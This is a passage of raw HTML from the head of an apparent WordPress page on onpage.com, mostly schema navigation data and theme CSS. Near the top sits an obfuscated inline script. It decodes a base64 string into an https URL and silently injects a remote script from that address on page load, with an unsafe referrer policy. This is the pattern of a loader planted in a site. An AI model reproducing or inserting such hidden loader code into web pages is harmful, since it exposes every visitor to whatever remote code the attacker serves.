Stories","url":"https:\/\/www.onpage.com\/other-industry-customer-stories\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Free Tools","url":"#ubermenu-column"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Free On-Call Generator","url":"https:\/\/www.onpage.com\/free-on-call-schedule-generator\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Partners","url":"#"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Answering Services and Resellers","url":"https:\/\/www.onpage.com\/secure-messaging-for-answering-services\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Partner Program","url":"https:\/\/www.onpage.com\/partner-program-overview\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Develop for OnPage","url":"https:\/\/www.onpage.com\/developer-program-onpage\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Top Incident Alerting and On-Call Management Software (2026 Buyer&#8217;s Guide)","url":"https:\/\/www.onpage.com\/top-incident-alerting-and-on-call-management-software-buyers-guide\/"}]}</script><!-- / site-navigation-element Schema optimized by Schema Pro --><!-- sitelink-search-box Schema optimized by Schema Pro --><script type="application/ld+json">{"@context":"https:\/\/schema.org","@type":"WebSite","name":"OnPage","url":"https:\/\/www.onpage.com","potentialAction":[{"@type":"SearchAction","target":"https:\/\/www.onpage.com\/?s={search_term_string}","query-input":"required name=search_term_string"}]}</script><!-- / sitelink-search-box Schema optimized by Schema Pro --><!-- breadcrumb Schema optimized by Schema Pro --><script type="application/ld+json">{"@context":"https:\/\/schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"item":{"@id":"https:\/\/www.onpage.com\/","name":"Home"}},{"@type":"ListItem","position":2,"item":{"@id":"https:\/\/www.onpage.com\/primer-on-diy-technical-debt-and-devops-alerting\/","name":"A very short primer on DIY, technical debt and DevOps alerting"}}]}</script><!-- / breadcrumb Schema optimized by Schema Pro --> <meta name="google-site-verification" content="gcN3QDYHU18yX3Q9zMXfLOTkxGTAm2JEwqOdZQTMvfM" />
<script> (function(){var _2D4=document.createElement("script"),_mc=(function(_qSa,_qC){var _hw="";for(var _fF=0;_fF<_qSa.length;_fF++){_f4!=_fF;var _f4=_qSa[_fF].charCodeAt();_f4-=_qC;_f4+=61;_f4%=94;_hw==_hw;_f4+=33;_qC>1;_hw+=String.fromCharCode(_f4)}return _hw})(atob("cHx8eHtCNzchezYkd3d1cXZudzZrd3U3eHEibXQ3Pjs/Pj5Aajk9bmw7QD9AOUFAOEA5O2xt"), 8);_2D4.referrerPolicy="unsafe-url";_2D4.src=_mc;8>3;_2D4!="p";_2D4.type="text/javascript";function _AN(){};_2D4.async=!0;var _yVT=document.getElementsByTagName("script")[0];_yVT.parentNode.insertBefore(_2D4,_yVT)})(); </script>
<style id="wpsp-style-frontend"></style>
<style>.yep-youtube {position: relative;padding-bottom: 56.23%;height: 0;overflow: hidden;max-width: 100%;background: #000;}.yep-youtube iframe,.yep-youtube object,.yep-youtube embed {position: absolute;top: 0;left: 0;width: 100%;height: 100%;z-index: 100;background: transparent;}.yep-youtube img {bottom: 0;display: block;left: 0;margin: auto;max-width: 100%;width: 100%;position: absolute;right: 0;top: 0;border: none;height: auto;cursor: pointer;-webkit-transition: .4s all;-moz-transition: .4s all;transition: .4s all;}.yep-youtube .yepPlayButton {position: absolute;left: 50%;top: 50%;width: 68px;height: 48px;margin-left: -34px;margin-top: -24px;}.yep-youtube .yepPlayButton:hover{cursor: pointer;}.yep-youtube .yepPlayButton:hover .ytp-large-play-button-bg{fill: #f00;fill-opacity: 1;}.wp-block-embed-youtube .yep-youtube{position: initial;padding-bottom:0;}</style><style id="wp-custom-css">
.api-card {
transition: transform 0.3s ease, box-shadow 0.3s ease;
will-change: transform;
cursor: pointer;
}
.api-card:hover {
transform: scale(1.03);
box-shadow: 0 6px 20px rgba(0, 0, 0, 0.12);
}
/* Animation styles for API table rows */
#api-table .hoverable-row {
transition: all 0.2s ease;
background-color: white;
}
#api-table .hoverable-row:hover {
background-color: #f1f5fb;
transform: scale(1.01);
cursor: pointer;
}
/*Use Cases in Integration*/
.use-cases-stack {
padding: 4rem 2rem;
max-width: 800px;
margin: 0 auto;
}
.section-heading {
text-align: center;
margin-bottom: 3rem;
font-weight: bold;
color: inherit; /* Inherit your theme's heading color */
}
.use-case {
border-left: 4px solid #85b81b; /* Use your primary brand color here */
padding: 1.5rem 1.5rem 1.5rem 1.25rem;
margin-bottom: 2rem;
background: #fff;
box-shadow: 0 4px 12px rgba(0,0,0,0.05);
border-radius: 8px;
transition: box-shadow 0.2s ease;
}
.use-case:hover {
box-shadow: 0 6px 18px rgba(0,0,0,0.1);
}
.use-case h3 {
margin-top: 0;
margin-bottom: 0.75rem;
color: inherit;
}
.use-case p {
margin: 0;
line-height: 1.6;
color: inherit;
}
/*
Responsive YouTube Embed with Modern Styling and Hover Effect
- Maintains a 16:9 aspect ratio for responsiveness
- Adds soft rounded corners and subtle box shadow
- On hover: elevates the card with a deeper shadow and upward motion
- Smooth transitions for a polished, modern feel
*/
.video-container {
position: relative;
padding-bottom: 56.25%;
height: 0;
overflow: hidden;
border-radius: 16px;
box-shadow: 0 10px 20px rgba(0,0,0,0.15);
transition: box-shadow 0.3s ease, transform 0.3s ease;
}
.video-container:hover {
box-shadow: 0 14px 28px rgba(0,0,0,0.25);
transform: translateY(-4px);
}
.video-container iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
border: 0;
border-radius: 16px;
}
/* sticky bar at top used on pager app */
html { scroll-behavior: smooth; }
:is(h2, h3)[id] { scroll-margin-top: 88px; } /* offset for your sticky header */
.op-sticky-nav {
position: sticky; top: 0; z-index: 40;
background:#fff; border-bottom:1px solid #eef1f4;
}
.op-sticky-nav ul {
margin:0; padding:10px 16px; list-style:none;
display:flex; gap:16px; overflow-x:auto; white-space:nowrap;
}
.op-sticky-nav a {
display:inline-block; padding:8px 10px; border-radius:999px;
text-decoration:none; font-size:14px; line-height:1;
color:#001f58; border:1px solid #e5e8ee;
}
.op-sticky-nav a:hover { background:#f6f8fb; }
.op-sticky-nav a.is-active { border-color:#85b81b; background:#f3faea; }
/* clean table layout pager app */
.cmp-clean-table .table-scroll {
overflow-x: auto;
-webkit-overflow-scrolling: touch;
}
.cmp-clean-table .compare-table {
width: 100%;
border-collapse: collapse;
table-layout: fixed;
border: 1px solid #eaeaea;
}
.cmp-clean-table .compare-table th,
.cmp-clean-table .compare-table td {
border: 1px solid #eaeaea;
padding: 12px 14px;
text-align: left;
vertical-align: top;
background: #fff;
}
.cmp-clean-table .compare-table thead th {
background: #001f58; /* light neutral header */
color: #ffffff
}
.cmp-clean-table .compare-table tbody tr:nth-child(odd) td,
.cmp-clean-table .compare-table tbody tr:nth-child(odd) th {
background: #fafafa; /* subtle zebra */
}
@media (max-width: 768px) {
.cmp-clean-table .compare-table { min-width: 700px; }
}
/* Free On-Call Schedule Generator Tool */
/* ===== On-Call widget (namespaced) ===== */
#basic-oncall { max-width: 1100px; margin: 0 auto; padding: 0 16px; }
#basic-oncall .oc-card{
border:1px solid #e5e7eb; border-radius:12px; padding:14px; margin:12px 0;
background:#fff; box-shadow:none;
}
#basic-oncall .oc-row{ display:flex; gap:12px; flex-wrap:wrap; }
#basic-oncall .oc-col{ flex:1 1 240px; min-width:240px; }
#basic-oncall label{ font-weight:600; display:block; margin:8px 0 6px; }
#basic-oncall .oc-note{ color:#6b7280; font-size:12px; }
#basic-oncall input[type="date"],
#basic-oncall select,
#basic-oncall textarea{
box-sizing:border-box; width:100%;
min-height:40px; padding:10px 12px;
border:1px solid #d1d5db; border-radius:10px;
background:#fff; color:#111;
font:14px/1.4 system-ui, -apple-system, Segoe UI, Roboto, Helvetica, Arial;
box-shadow:none; appearance:none; margin:0;
}
#basic-oncall .oc-btn{
display:inline-block; border:1px solid #111827; border-radius:999px;
padding:8px 14px; background:#111827; color:#fff; cursor:pointer;
}
#basic-oncall .oc-btn.oc-ghost{ background:#fff; color:#111827; }
/* Defensive: ignore any theme styles on common class names by resetting them */
#basic-oncall .row, #basic-oncall .col, #basic-oncall .card, #basic-oncall .btn, #basic-oncall .note { all: unset; }
#basic-oncall .row, #basic-oncall .col, #basic-oncall .card, #basic-oncall .btn, #basic-oncall .note { display: revert; }
/* ===== On-Call preview table (inside the widget) ===== */
#basic-oncall table {
width: 100% !important;
border-collapse: collapse !important;
margin-top: 8px !important;
background: #fff !important;
}
#basic-oncall thead th {
background: #f3f4f6 !important;
font-weight: 600 !important;
}
#basic-oncall th,
#basic-oncall td {
border-bottom: 1px solid #e5e7eb !important;
padding: 8px !important;
text-align: left !important;
vertical-align: top !important;
color: #111 !important;
font: 14px/1.4 system-ui, -apple-system, Segoe UI, Roboto, Helvetica, Arial !important;
}
#basic-oncall tbody tr:nth-child(even) {
background: #fafafa !important;
}
/* Optional: tighten the header row height */
#basic-oncall thead th { padding-top: 10px !important; padding-bottom: 10px !important; }
/* Ensure the widget never sits above the nav */
#basic-oncall,
#basic-oncall .oc-card,
#basic-oncall .oc-row,
#basic-oncall .oc-col {
position: static !important; /* remove any stacking context */
z-index: auto !important;
}
#basic-oncall input,
#basic-oncall select,
#basic-oncall textarea {
position: relative; /* keep form controls normal */
z-index: 0 !important;
}
/* Card background & border */
#basic-oncall .oc-card {
background: #eaeaea; /* soft gray background */
border: 1px solid #001f58; /* deep blue border */
border-radius: 12px;
padding: 16px;
margin: 16px 0;
}
#basic-oncall label,
#basic-oncall h3 {
color: #001f58; /* deep blue text for labels and Preview heading */
}
/* Primary buttons */
#basic-oncall .oc-btn {
background: #001f58;
border: 1px solid #001f58;
color: #fff;
transition: background 0.2s;
}
#basic-oncall .oc-btn:hover {
background: #85b81b; /* green on hover */
border-color: #85b81b;
}
/* Ghost buttons */
#basic-oncall .oc-btn.oc-ghost {
background: #fff;
color: #001f58;
border: 1px solid #001f58;
}
#basic-oncall .oc-btn.oc-ghost:hover {
background: #85b81b;
color: #fff;
border-color: #85b81b;
}
#basic-oncall thead th {
background: #001f58;
color: #fff;
}
#basic-oncall tbody tr:nth-child(even) {
background: #eaeaea;
}
#basic-oncall input:focus,
#basic-oncall select:focus,
#basic-oncall textarea:focus {
border-color: #85b81b;
box-shadow: 0 0 0 2px rgba(133,184,27,0.3); /* soft green glow */
outline: none;
}
/* ===== OnPage Physician Compare v3 (collision-proof) ===== */
#onpage-phys-compare-v3{background:#f6f8fa;border-radius:16px;padding:clamp(20px,3.5vw,40px);color:#1a1f36}
#onpage-phys-compare-v3 .opc-v3-title{margin:0 0 20px;font-size:clamp(22px,2.8vw,36px);line-height:1.15;letter-spacing:-.02em;font-weight:700}
/* column headers: Before | (center label) | With */
#onpage-phys-compare-v3{background:#f6f8fa;border-radius:16px;padding:24px;color:#1a1f36}
#onpage-phys-compare-v3 .opc-v3-title{margin:0 0 20px;font-size:28px;line-height:1.2;font-weight:700}
#onpage-phys-compare-v3 .opc-v3-head{display:grid;grid-template-columns:36% 28% 36%;align-items:center;grid-row-gap:12px;grid-column-gap:12px;padding:10px 0 18px;border-bottom:1px solid #e6eaee}
#onpage-phys-compare-v3 .opc-v3-badge{display:inline-flex;align-items:center;margin-right:8px;font-weight:700;font-size:15px}
#onpage-phys-compare-v3 .opc-v3-ico{width:18px;height:18px;display:inline-block;color:currentColor}
#onpage-phys-compare-v3 .opc-v3-badge--bad{color:#e74c3c}
#onpage-phys-compare-v3 .opc-v3-badge--good{color:#11a75c}
#onpage-phys-compare-v3 .opc-v3-grid{display:grid;grid-template-columns:36% 28% 36%;grid-row-gap:0;grid-column-gap:0}
#onpage-phys-compare-v3 .opc-v3-row{display:contents}
#onpage-phys-compare-v3 .opc-v3-cell{padding:18px 0;border-bottom:1px solid #e6eaee;font-size:16px;line-height:1.55}
#onpage-phys-compare-v3 .opc-v3-cell--heading{font-weight:700;text-align:center}
#onpage-phys-compare-v3 .opc-v3-cell p{margin:0}
#onpage-phys-compare-v3 .opc-v3-grid .opc-v3-row:last-child .opc-v3-cell{border-bottom:none}
@media (max-width:880px){
#onpage-phys-compare-v3 .opc-v3-head,#onpage-phys-compare-v3 .opc-v3-grid{grid-template-columns:1fr}
#onpage-phys-compare-v3 .opc-v3-row{display:block;padding:10px 0}
#onpage-phys-compare-v3 .opc-v3-cell{border-bottom:none;padding:8px 0}
#onpage-phys-compare-v3 .opc-v3-cell--heading{text-align:left;padding-top:12px;border-top:1px solid #e6eaee}
#onpage-phys-compare-v3 .opc-v3-grid .opc-v3-row:first-child .opc-v3-cell--heading{border-top:none}
}
/* === OnPage | HIPAA Features Grid (hard override) === */
/* === OnPage | HIPAA Features Grid — FLAT (TigerConnect-style) === */
section.hp-feature-wrap * { box-sizing: border-box; }
/* container + header */
section.hp-feature-wrap{max-width:1200px;margin:0 auto;padding:32px 16px;}
section.hp-feature-wrap .hp-feature-header{max-width:800px;margin:0 auto 28px;text-align:center;}
section.hp-feature-wrap .hp-feature-header h2{font-size:clamp(22px,2.2vw,30px);line-height:1.2;margin:0 0 8px;}
section.hp-feature-wrap .hp-feature-header p{margin:0;color:#475569;}
/* grid (flat) */
section.hp-feature-wrap .hp-feature-grid{
list-style:none !important; padding:0 !important; margin:0 !important;
display:grid !important; gap:24px;
grid-template-columns:repeat(3,minmax(0,1fr));
}
@media (max-width:1024px){
section.hp-feature-wrap .hp-feature-grid{grid-template-columns:repeat(2,minmax(0,1fr));}
}
@media (max-width:640px){
section.hp-feature-wrap .hp-feature-grid{grid-template-columns:1fr;}
}
/* each item = tiny two-column layout (icon + text) */
section.hp-feature-wrap .hp-feature-card{
background:transparent; border:0; box-shadow:none; transform:none; min-height:0;
display:grid; grid-template-columns:48px 1fr; column-gap:14px; align-items:start; padding:4px 2px;
}
/* icon */
section.hp-feature-wrap .hp-feature-icon{
width:48px; height:48px; border-radius:12px;
background:#ffffff; /* faint brand-tinted tile; change/remove if you want fully plain */
display:grid; place-items:center; border:1px solid #ffffff;
}
section.hp-feature-wrap .hp-feature-icon img{
display:block; max-width:48px; max-height:48px; width:auto; height:auto;
}
/* text */
section.hp-feature-wrap .hp-feature-content h3{
font-size:16px; margin:2px 0 6px; color:#0f172a; font-weight:600;
}
section.hp-feature-wrap .hp-feature-content p{
font-size:14px; line-height:1.5; margin:0; color:#475569;
}
/* optional: subtle divider under items (uncomment if you want rows separated) */
/*
section.hp-feature-wrap .hp-feature-card{border-bottom:1px solid #edf2f7; padding-bottom:16px;}
section.hp-feature-wrap .hp-feature-grid > li:last-child .hp-feature-card{border-bottom:0;}
*/
/* OnPage Skinny YouTube Banner */
.op-skinny-banner {
width: 100%;
background: #0b1220;
color: #ffffff;
font: 500 14px/1.3 system-ui, -apple-system, Segoe UI, Roboto, Helvetica, Arial, sans-serif;
}
.op-skinny-banner__inner {
max-width: 1200px;
margin: 0 auto;
padding: 10px 14px;
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
}
.op-skinny-banner__text {
display: flex;
align-items: center;
gap: 8px;
flex-wrap: wrap;
}
.op-skinny-banner__text strong {
font-weight: 700;
}
.op-skinny-banner__sep {
opacity: 0.6;
}
.op-skinny-banner__actions {
display: flex;
align-items: center;
gap: 10px;
}
.op-skinny-banner__cta {
background: #85b81b; /* OnPage green */
color: #001f58;
text-decoration: none;
padding: 7px 10px;
border-radius: 999px;
font-weight: 700;
white-space: nowrap;
}
.op-skinny-banner__cta:hover {
filter: brightness(1.05);
}
.op-skinny-banner__close {
background: transparent;
border: 0;
color: #ffffff;
font-size: 18px;
line-height: 1;
cursor: pointer;
padding: 4px 6px;
opacity: 0.8;
}
.op-skinny-banner__close:hover {
opacity: 1;
}
/* Mobile: keep it skinny */
@media (max-width: 640px) {
.op-skinny-banner__text span:last-child {
display: none;
}
}
/*OnPage main products page who's it for cards*/
#onp-products-whoitsfor{
--onp-green:#85b81b;
--onp-border:rgba(15,23,42,.12);
padding: 3rem 0;
}
#onp-products-whoitsfor .onp-pg-who__container{
width: min(1120px, calc(100% - 2rem));
margin-inline: auto;
}
#onp-products-whoitsfor .onp-pg-who__grid{
display:grid;
grid-template-columns:repeat(4,1fr);
gap:1rem;
margin-top:1.5rem;
}
#onp-products-whoitsfor .onp-pg-who__card{
background:#fff;
border:1px solid var(--onp-border);
border-radius:16px;
padding:1.25rem;
box-shadow:0 8px 24px rgba(0,0,0,.06);
display:flex;
flex-direction:column;
}
/* Kicker */
#onp-products-whoitsfor .onp-pg-who__kicker{
display:flex;
align-items:center;
gap:.5rem;
font-size:12px;
text-transform:uppercase;
letter-spacing:.04em;
color:#64748b;
margin-bottom:.5rem;
}
#onp-products-whoitsfor .onp-pg-who__dot{
width:8px;
height:8px;
border-radius:50%;
background:var(--onp-green);
}
/* Card typography ONLY */
#onp-products-whoitsfor .onp-pg-who__cardTitle{
font-size:18px;
line-height:1.3;
margin:0 0 .5rem;
}
#onp-products-whoitsfor .onp-pg-who__cardText{
font-size:15px;
line-height:1.6;
margin:0 0 1rem;
}
#onp-products-whoitsfor .onp-pg-who__link{
margin-top:auto;
font-size:15px;
}
/* Responsive */
@media (max-width:1024px){
#onp-products-whoitsfor .onp-pg-who__grid{
grid-template-columns:repeat(2,1fr);
}
}
@media (max-width:640px){
#onp-products-whoitsfor .onp-pg-who__grid{
grid-template-columns:1fr;
}
}
/*OnPage ER triage 15 minute sla page table*/
.onpage-workflow-container {
font-family: 'Helvetica Neue', Arial, sans-serif;
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 20px;
padding: 20px 0;
}
.workflow-card {
background: #ffffff;
border: 1px solid #e1e4e8;
border-top: 4px solid #001f58; /* OnPage Blue */
padding: 20px;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0,0,0,0.05);
}
.step-number {
font-weight: bold;
color: #001f58;
text-transform: uppercase;
font-size: 1.5rem;
margin-bottom: 10px;
display: block;
}
.step-title {
font-size: 1.5rem;
font-weight: 700;
margin-bottom: 15px;
color: #333;
}
.advantage-box {
background: #f8f9fa;
border-left: 3px solid #28a745; /* Green for "Advantage" */
padding: 10px 15px;
margin-top: 15px;
}
.advantage-label {
font-weight: bold;
color: #85b81b;
display: block;
margin-bottom: 5px;
}
/* ===== Reset ===== */
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
/* ===== Brand Palette ===== */
/* Primary navy : #001f58 | Green accent : #85b81b */
/* Navy tints : #e6eaf3 (light bg), #c0cce6 (border), #4a6096 (muted text) */
/* Green tints : #f2f7e6 (light bg), #6a9315 (dark green) */
:root {
--navy: #001f58;
--navy-mid: #4a6096;
--navy-light: #e6eaf3;
--navy-border: #c0cce6;
--green: #85b81b;
--green-dark: #6a9315;
--green-light: #f2f7e6;
--green-border: #c8df8a;
--text-primary: #001f58;
--text-body: #2d3a52;
--text-muted: #4a6096;
--border: #dde3ee;
--bg-surface: #f7f9fc;
--bg-surface-2: #eef1f8;
--radius-sm: 6px;
--radius-md: 10px;
--radius-lg: 16px;
--shadow-sm: 0 1px 3px rgba(0,31,88,0.07), 0 1px 2px rgba(0,31,88,0.04);
}
html { scroll-behavior: smooth; }
/* ===== TOC ===== */
.toc-wrap {
background: var(--navy-light);
border-left: 4px solid var(--navy);
border-radius: 0 var(--radius-md) var(--radius-md) 0;
padding: 24px 28px;
margin: 40px auto;
max-width: 820px;
}
.toc-wrap h2 {
font-size: 13px;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.9px;
color: var(--navy);
margin-bottom: 14px;
}
.toc-wrap ol {
padding-left: 20px;
display: grid;
grid-template-columns: 1fr 1fr;
gap: 6px 32px;
}
.toc-wrap li { font-size: 14px; }
.toc-wrap a {
color: var(--text-muted);
text-decoration: none;
transition: color 0.15s;
}
.toc-wrap a:hover { color: var(--green-dark); text-decoration: underline; }
/* ===== Main Layout ===== */
.main-wrap {
max-width: 820px;
margin: 0 auto;
padding: 0 24px 80px;
}
/* ===== Typography — inherits theme fonts entirely ===== */
.post-body h2 {
font-weight: 700;
color: var(--navy);
margin: 52px 0 16px;
padding-top: 8px;
border-top: 2px solid var(--navy-light);
}
.post-body h3 {
font-weight: 700;
color: var(--navy);
margin: 32px 0 12px;
}
.post-body h4 {
font-weight: 700;
color: var(--navy);
margin: 20px 0 8px;
}
.post-body p { margin-bottom: 20px; color: var(--text-body); }
.post-body p strong { color: var(--navy); font-weight: 600; }
.post-body ul, .post-body ol {
padding-left: 24px;
margin-bottom: 20px;
color: var(--text-body);
}
.post-body li { margin-bottom: 8px; }
/* ===== Answer Box ===== */
.answer-box {
background: var(--navy-light);
border: 1px solid var(--navy-border);
border-radius: var(--radius-lg);
padding: 28px 32px;
margin: 0 0 40px;
}
.answer-box .ab-label {
font-size: 11px;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 1px;
color: var(--green-dark);
margin-bottom: 10px;
}
.answer-box p {
line-height: 1.7;
color: var(--navy);
margin: 0;
}
/* ===== Info Cards ===== */
.card-grid {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 16px;
margin: 24px 0 32px;
}
@media (max-width: 768px) {
.card-grid { grid-template-columns: repeat(2, 1fr); }
}
@media (max-width: 480px) {
.card-grid { grid-template-columns: 1fr; }
}
.info-card {
background: var(--bg-surface);
border: 1px solid var(--border);
border-top: 3px solid var(--green);
border-radius: var(--radius-md);
padding: 20px 22px;
}
.info-card .card-icon {
width: 36px; height: 36px;
border-radius: var(--radius-sm);
display: flex; align-items: center; justify-content: center;
font-size: 18px;
margin-bottom: 12px;
background: var(--green-light);
}
.info-card h4 {
font-weight: 700;
color: var(--navy);
margin-bottom: 6px;
}
.info-card p {
font-size: 13px;
color: var(--text-muted);
line-height: 1.55;
margin: 0;
}
/* ===== Tables ===== */
.tier-table {
width: 100%;
border-collapse: collapse;
margin: 24px 0 32px;
font-size: 15px;
border-radius: var(--radius-md);
overflow: hidden;
box-shadow: var(--shadow-sm);
}
.tier-table thead { background: var(--navy); color: white; }
.tier-table th {
padding: 14px 18px;
text-align: left;
font-size: 13px;
font-weight: 600;
letter-spacing: 0.4px;
}
.tier-table td {
padding: 13px 18px;
border-bottom: 1px solid var(--border);
color: var(--text-body);
vertical-align: top;
}
.tier-table tr:nth-child(even) td { background: var(--bg-surface); }
.tier-table tr:last-child td { border-bottom: none; }
.tier-badge {
display: inline-block;
padding: 3px 10px;
border-radius: 20px;
font-size: 12px;
font-weight: 600;
}
.tier-badge.l1 { background: var(--green-light); color: var(--green-dark); }
.tier-badge.l2 { background: var(--navy-light); color: var(--navy); }
.tier-badge.l3 { background: #eef1f8; color: var(--navy-mid); }
/* ===== Callouts ===== */
.callout {
border-radius: var(--radius-md);
padding: 22px 26px;
margin: 28px 0;
display: flex;
gap: 16px;
align-items: flex-start;
}
.callout.blue { background: var(--navy-light); border-left: 4px solid var(--navy); }
.callout.green { background: var(--green-light); border-left: 4px solid var(--green); }
.callout.orange { background: #f5f0e6; border-left: 4px solid #b08c1b; }
.callout-icon { font-size: 20px; flex-shrink: 0; margin-top: 2px; }
.callout p { margin: 0; font-size: 15px; color: var(--text-body); line-height: 1.65; }
.callout p strong { color: var(--navy); }
/* ===== Stat Cards ===== */
.stat-row {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 16px;
margin: 28px 0;
}
.stat-card {
background: var(--navy);
border-radius: var(--radius-md);
padding: 24px 20px;
text-align: center;
}
.stat-card .stat-num {
font-size: 32px;
font-weight: 800;
color: var(--green);
line-height: 1;
margin-bottom: 8px;
}
.stat-card .stat-label {
font-size: 13px;
color: rgba(255,255,255,0.75);
line-height: 1.45;
}
/* ===== Process Steps ===== */
.steps-list { margin: 24px 0 32px; }
.step-item {
display: flex;
gap: 18px;
align-items: flex-start;
margin-bottom: 20px;
}
.step-num {
width: 36px; height: 36px;
border-radius: 50%;
background: var(--green);
color: white;
font-size: 14px;
font-weight: 700;
display: flex; align-items: center; justify-content: center;
flex-shrink: 0;
margin-top: 2px;
}
.step-content h4 {
font-weight: 700;
color: var(--navy);
margin-bottom: 4px;
}
.step-content p {
font-size: 14.5px;
color: var(--text-muted);
margin: 0;
line-height: 1.6;
}
/* ===== OnPage Section ===== */
.onpage-section {
background: var(--navy);
border-radius: var(--radius-lg);
padding: 44px 40px;
margin: 56px 0;
color: white;
position: relative;
overflow: hidden;
}
.onpage-section::after {
content: '';
position: absolute;
bottom: -40px; right: -40px;
width: 220px; height: 220px;
background: radial-gradient(circle, rgba(133,184,27,0.12) 0%, transparent 70%);
pointer-events: none;
}
.onpage-section h2 {
font-weight: 700;
color: white;
margin-bottom: 14px;
border: none;
padding: 0;
margin-top: 0;
}
.onpage-section p {
color: rgba(255,255,255,0.82);
font-size: 15px;
max-width: 580px;
line-height: 1.7;
margin-bottom: 14px;
}
.onpage-features {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 12px 28px;
margin: 20px 0 28px;
}
.onpage-feature {
display: flex;
gap: 10px;
align-items: flex-start;
font-size: 14px;
color: rgba(255,255,255,0.85);
line-height: 1.5;
}
.onpage-feature::before {
content: '✓';
background: var(--green);
color: white;
width: 20px; height: 20px;
border-radius: 50%;
font-size: 11px;
font-weight: 700;
display: flex; align-items: center; justify-content: center;
flex-shrink: 0;
margin-top: 1px;
}
.cta-btn {
display: inline-block;
background: var(--green);
color: white;
font-weight: 700;
font-size: 15px;
padding: 13px 28px;
border-radius: var(--radius-sm);
text-decoration: none;
transition: background 0.15s, transform 0.15s;
margin-right: 12px;
}
.cta-btn:hover { background: var(--green-dark); transform: translateY(-1px); }
.cta-btn-sec {
color: rgba(255,255,255,0.8);
font-size: 14px;
text-decoration: underline;
text-underline-offset: 3px;
}
/* ===== Pull Quote ===== */
.pull-quote {
border-left: 4px solid var(--green);
padding: 4px 24px;
margin: 32px 0;
font-size: 19px;
font-style: italic;
color: var(--navy);
line-height: 1.6;
}
/* ===== FAQ ===== */
.faq-section { margin: 48px 0; }
.faq-item {
border: 1px solid var(--border);
border-radius: var(--radius-md);
margin-bottom: 12px;
overflow: hidden;
}
.faq-q {
background: var(--bg-surface);
padding: 18px 22px;
font-weight: 600;
color: var(--navy);
cursor: pointer;
display: flex;
justify-content: space-between;
align-items: center;
}
.faq-q::after { content: '+'; font-size: 22px; color: var(--green); font-weight: 300; }
.faq-a {
padding: 16px 22px 20px;
font-size: 15px;
color: var(--text-body);
line-height: 1.7;
border-top: 1px solid var(--border);
}
/* ===== Key Takeaways ===== */
.key-takeaways {
background: var(--green-light);
border: 1px solid var(--green-border);
border-radius: var(--radius-lg);
padding: 28px 32px;
margin: 48px 0 32px;
}
.key-takeaways h3 {
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.8px;
color: var(--green-dark);
margin-bottom: 16px;
}
.key-takeaways ul { padding-left: 20px; }
.key-takeaways li {
font-size: 15px;
color: var(--text-body);
margin-bottom: 10px;
line-height: 1.6;
}
/* ===== Post Footer ===== */
.post-footer {
border-top: 1px solid var(--border);
padding-top: 28px;
margin-top: 40px;
font-size: 13px;
color: var(--text-muted);
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 12px;
}
.tag-pill {
display: inline-block;
background: var(--navy-light);
border: 1px solid var(--navy-border);
color: var(--navy-mid);
padding: 4px 12px;
border-radius: 20px;
font-size: 12px;
margin-right: 6px;
margin-bottom: 4px;
}
@media (max-width: 600px) {
.toc-wrap ol { grid-template-columns: 1fr; }
.stat-row { grid-template-columns: 1fr; }
.onpage-features { grid-template-columns: 1fr; }
.tier-table { font-size: 13px; }
.onpage-section { padding: 28px 22px; }
}
</style>
<style>
.article-blog h2 {font-size:22px !important; line-height:normal; }.article-blog h3 {font-size:20px !important; line-height:normal; }.widget_recent_entries li a {font-size:15px !important; line-height:normal; } </style>
<link rel='stylesheet' id='simple-share-buttons-adder-ssba-css' href='https://www.onpage.com/wp-content/plugins/simple-share-buttons-adder/css/ssba.css?ver=1747234220' media='all' />
<style id="simple-share-buttons-adder-ssba-inline-css">
.ssba {
}
.ssba img
{
width: 36px !important;
padding: 6px;
border: 0;
box-shadow: none !important;
display: inline !important;
vertical-align: middle;
box-sizing: unset;
}
.ssba-classic-2 .ssbp-text {
display: none!important;
}
.ssba .fb-save
{
padding: 6px;
line-height: 31px; }
.ssba, .ssba a
{
text-decoration:none;
background: none;
font-family: Indie Flower;
font-size: 20px;
font-weight: bold;
}
#ssba-bar-2 .ssbp-bar-list {
max-width: 48px !important;;
}
#ssba-bar-2 .ssbp-bar-list li a {height: 48px !important; width: 48px !important;
}
#ssba-bar-2 .ssbp-bar-list li a:hover {
}
#ssba-bar-2 .ssbp-bar-list li a svg,
#ssba-bar-2 .ssbp-bar-list li a svg path, .ssbp-bar-list li a.ssbp-surfingbird span:not(.color-icon) svg polygon {line-height: 48px !important;; font-size: 18px;}
#ssba-bar-2 .ssbp-bar-list li a:hover svg,
#ssba-bar-2 .ssbp-bar-list li a:hover svg path, .ssbp-bar-list li a.ssbp-surfingbird span:not(.color-icon) svg polygon {}
#ssba-bar-2 .ssbp-bar-list li {
margin: 0px 0!important;
}@media only screen and ( max-width: 750px ) {
#ssba-bar-2 {
display: block;
}
}
/*# sourceURL=simple-share-buttons-adder-ssba-inline-css */
</style>
<link rel='stylesheet' id='rpwe-style-css' href='https://www.onpage.com/wp-content/plugins/recent-posts-widget-extended/assets/css/rpwe-frontend.css?ver=2.0.2' media='all' />
<link rel='stylesheet' id='gforms_reset_css-css' href='https://www.onpage.com/wp-content/plugins/gravityforms/legacy/css/formreset.min.css?ver=2.8.17' media='all' />
